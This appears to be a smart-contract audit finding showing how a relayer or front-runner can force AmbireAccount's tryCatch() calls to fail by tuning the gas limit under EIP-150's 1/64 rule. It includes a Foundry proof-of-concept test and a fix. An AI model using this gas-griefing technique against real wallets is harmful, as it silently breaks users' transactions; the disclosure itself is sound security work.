Attacker can force the failure of transactions that use tryCatch
Lines of code
Vulnerability details
An attacker or malicious relayer can force the failure of transactions that rely on tryCatch() by carefully choosing the gas limit.
Impact
The tryCatch() function present in the AmbireAccount contract can be used to execute a call in the context of a wallet that is eventually allowed to fail, i.e. the operation doesn't revert if the call fails.
solidity119: function tryCatch(address to, uint256 value, bytes calldata data) external payable { 120: require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); 121: (bool success, bytes memory returnData) = to.call{ value: value, gas: gasleft() }(data); 122: if (!success) emit LogErr(to, value, data, returnData); 123: }
EIP-150 introduces the "rule of 1/64th" in which 1/64th of the available is reserved in the calling context and the rest of it is forward to the external call. This means that, potentially, the called function can run out of gas, while the calling context may have some gas to eventually continue and finish execution successfully.
A malicious relayer, or a malicious actor that front-runs the transaction, can carefully choose the gas limit to make the call to tryCatch() fail due out of gas, while still saving some gas in the main context to continue execution. Even if the underlying call in tryCatch() would succeed, an attacker can force its failure, while the main call to the wallet is successfully executed.
Proof of Concept
The following test reproduces the attack. The user creates a transaction to execute a call using tryCatch() to a function of the TestTryCatch contract, which simulates some operations that consume gas. The attacker then executes the bundle by carefully choosing the gas limit (450,000 units of gas in this case) so that the call to TestTryCatch fails due to out of gas, but the main call to execute() in the wallet (here simplified by using executeBySender() to avoid signatures) gets correctly executed.
Note: the snippet shows only the relevant code for the test. Full test file can be found here.
soliditycontract TestTryCatch { uint256[20] public foo; function test() external { // simulate expensive operation for (uint256 index = 0; index < 20; index++) { foo[index] = index + 1; } } } function test_AmbireAccount_ForceFailTryCatch() public { address user = makeAddr("user"); address[] memory addrs = new address[](1); addrs[0] = user; AmbireAccount account = new AmbireAccount(addrs); TestTryCatch testTryCatch = new TestTryCatch(); AmbireAccount.Transaction[] memory txns = new AmbireAccount.Transaction[](1); txns[0].to = address(account); txns[0].value = 0; txns[0].data = abi.encodeWithSelector( AmbireAccount.tryCatch.selector, address(testTryCatch), uint256(0), abi.encodeWithSelector(TestTryCatch.test.selector) ); // This should actually be a call to "execute", we simplify the case using "executeBySender" // to avoid the complexity of providing a signature. Core issue remains the same. vm.expectEmit(true, false, false, false); emit LogErr(address(testTryCatch), 0, "", ""); vm.prank(user); account.executeBySender{gas: 450_000}(txns); // assert call to TestTryCatch failed assertEq(testTryCatch.foo(0), 0); }
Recommendation
The context that does the call in tryCatch() can check the remaining gas after the call to determine if the remaining amount is greater than 1/64 of the available gas before the external call.
solidityfunction tryCatch(address to, uint256 value, bytes calldata data) external payable { require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL'); + uint256 gasBefore = gasleft(); (bool success, bytes memory returnData) = to.call{ value: value, gas: gasleft() }(data); + require(gasleft() > gasBefore/64); if (!success) emit LogErr(to, value, data, returnData); }
Assessed type
Other
